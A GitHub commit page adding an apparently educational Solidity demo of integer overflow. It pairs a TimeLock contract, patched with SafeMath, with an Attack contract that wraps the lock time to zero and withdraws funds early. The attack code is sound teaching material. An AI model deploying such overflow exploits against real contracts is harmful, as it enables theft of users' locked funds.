-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Browse files
Browse the repository at this point in the history
- Loading branch information
Showing
1 changed file
with
61 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,61 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.6.10; | ||
|
||
/* | ||
Overflow / Underflow | ||
Code & Demo | ||
Preventative techniques | ||
*/ | ||
|
||
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.0.0/contracts/math/SafeMath.sol"; | ||
|
||
contract TimeLock { | ||
using SafeMath for uint; | ||
|
||
mapping(address => uint) public balances; | ||
mapping(address => uint) public lockTime; | ||
|
||
function deposit() external payable { | ||
balances[msg.sender] += msg.value; | ||
lockTime[msg.sender] = now + 1 weeks; | ||
} | ||
|
||
function increaseLockTime(uint _secondsToIncrease) public { | ||
// lockTime[msg.sender] += _secondsToIncrease; | ||
lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease); | ||
} | ||
|
||
function withdraw() public { | ||
require(balances[msg.sender] > 0, "Insufficient funds"); | ||
require(now > lockTime[msg.sender], "Lock time not expired"); | ||
|
||
uint amount = balances[msg.sender]; | ||
balances[msg.sender] = 0; | ||
|
||
(bool sent, ) = msg.sender.call{value: amount}(""); | ||
require(sent, "Failed to send Ether"); | ||
} | ||
} | ||
|
||
contract Attack { | ||
TimeLock timeLock; | ||
|
||
constructor(TimeLock _timeLock) public { | ||
timeLock = TimeLock(_timeLock); | ||
} | ||
|
||
fallback() external payable { } | ||
|
||
function attack() public payable { | ||
timeLock.deposit{value: msg.value}(); | ||
// t == current lock time | ||
// find x such that | ||
// x + t = 2**256 = 0 | ||
// x = -t | ||
timeLock.increaseLockTime( | ||
// 2**256 - t | ||
uint(-timeLock.lockTime(address(this))) | ||
); | ||
timeLock.withdraw(); | ||
} | ||
} |